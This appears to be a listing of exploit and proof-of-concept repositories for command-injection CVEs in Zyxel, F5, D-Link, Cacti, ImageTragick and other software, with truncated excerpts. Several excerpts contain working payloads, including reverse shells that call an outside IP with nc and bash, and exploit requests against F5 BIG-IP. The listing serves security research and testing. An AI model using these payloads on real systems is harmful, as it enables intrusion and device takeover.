CVE-2024-29973

CVE-2024-29973 - Remote Command Injection Vulnerability Description CVE-2024-29973 is a critical vulnerability found in certain Zyxel networking devices. This vulnerability allows an unauthenticated attacker to execute arbitrary commands on the target device by exploiting improper input validatio...

Debuggable-App-Exploit

CVE-2024-31317 Debuggable App Exploit A Python-based exploit for CVE-2024-31317 Android Zygote Injection that makes any installed Android app debuggable by injecting malicious zygote arguments through the hiddenapiblacklistexemptions setting. Includes optional Frida gadget injection for runtime...

CVE-2022-36231

CVE-2022-36231 The ruby gem pdfinfo /dev/null As with the initialize method there is no validation performed on the @pdfpath variable. This allows us to make use of command chaining with ; to execute an arbitrary command. info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat...

CVE-2019-19919

CVE-2019-19919 Handlebars Improper Neutralization of Special Elements in Output Used by a Downstream Component 'Injection' Vulnerability pip install requests packaging python handlebarsscanner.py pip install requests python handlebarsexploit.py Enter the target URL: Exploit Expected Output : Ente...

CVE-2023-23333

CVE-2023-23333 SolarView Compact through 6.00 downloader.php commands injection RCE nuclei-templates Burp Nuclei...

CVE-2024-29895.py

Cacti RCE - CVE-2024-29895 Usage: python3 cve-2024-29895.py -u https://target.com/ -c id Affecting Cacti versions 1.3.X on DEV builds where cmdrealtime.php is present and POLLERID is enabled. Command Injection is possible via this endpoint, by requesting via GET with payload as HTML Query...

linux_mint_poc

Linux Mint 18.3-19.1 'yelp' command injection bug Root cause The URI handlers help://, ghelp://, and man:// are defined in the file /usr/share/applications/yelp.desktop which will execute /usr/local/bin/yelp via Exec=yelp %u whenever one of those URI handlers is invoked. The file...

commix

English • Ελληνικά • Español • Français • فارسی • Bahasa Indonesia • Türkçe Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command and code injection...

CVE-2026-39808

🚨 FortiSandbox Root Sandbox Escape - CVE-2026-39808 🎯 Overview This repository contains a clean and well-documented Proof of Concept for CVE-2026-39808 — a critical unauthenticated command injection vulnerability in Fortinet FortiSandbox that allows sandbox escape and remote code execution as roo...

CVE-2021-38817-Remote-OS-Command-Injection

CVE-2021-38817-Remote-OS-Command-Injection Authenticated Remote OS Command Injection/Remote Code Execution in TastyIgniter v3.0.7 Sendmail web part CVE-2021-38817 An authenticated remote OS command injection vulnerability exists in the TastyIgniter v3.0.7 Restaurtant CMS Sendmail configuration me...

CVE-2026-93958

D-Link R95 BE9500 Wi-Fi 7 Smart Router Vendor：D-Link Product：R95 Product Model：BE9500 Firmware Version：1.01B06 Vulnerability Type：Authenticated Command Injection Description The D-Link R95 BE9500 Wi-Fi 7 Smart Router firmware version BE95001.00.16 contains a command injection vulnerability in the...

CVE-2023-22884-Airflow-SQLi

Apache Airflow SQL injection PoC CVE-2023-22884 PoC for CVE-2023-22884 is an Apache Airflow RCE vulnerability affecting versions prior to 2.4.0. The official report description says: Improper Neutralization of Special Elements used in a Command 'Command Injection' vulnerability in Apache Software...

CVE-2022-1388_PoC

F5 BIG-IP RCE exploitation CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl commandliner: $ curl -i -s -k -X $'POST' \ -H $'Host: :8443' \ ...

CVE-2022-30525_check

CVE-2022-30525check Description: This script checks for the presence of the OS command injection vulnerability CVE-2022-30525 in Zyxel USG FLEX devices running firmware versions 5.00 through 5.21 Patch 1. The vulnerability allows an attacker to modify specific files and execute OS commands on a...

CVE-2022-1388

CVE-2022-1388 Checking and exploit for CVE-2022-1388 Installation: python3 -m pip install -r requirements.txt Usage Single : python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' Mass : python3 cve.py m host li...

ImageTragick_Poc

ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...

CVE-2024-3273

CVE-2024-3273 Proof of Concept PoC This repository contains a Proof of Concept PoC for CVE-2024-3273, a security vulnerability discovered in D-Link NAS devices. The vulnerability allows attackers to execute arbitrary commands on vulnerable devices. Description CVE-2024-3273 is a vulnerability in...

CVE-2020-28243

CVE-2020-28243 A command injection vulnerability in SaltStack's Salt allows for privilege escalation via specially crafted process names on a minion when the master calls restartcheck. For a full writeup please see this blog post Affected Versions: All versions between 2016.3.0rc2 and 3002.2 Link...

OFBiz-Attack

OFBiz-Attack A Tool For CVE-2023-49070/CVE-2023-51467 Attack Test Environment vulhub/ofbiz:18.12.09 Usage Start java -jar OFBiz-Attack.jar There are three modules: Vulnerability Detection Just enter the target URL. Do not add extra routes, otherwise it will affect subsequent module exploitation...

CVE-2023-26067

CVE-2023-34362 POCs for credential dumping, reverse shells, and playing music by abusing a command injection, CVE-2023-26067, affecting Lexmark Printers. Technical Analysis A technical root cause analysis of the vulnerability can be found on our blog:...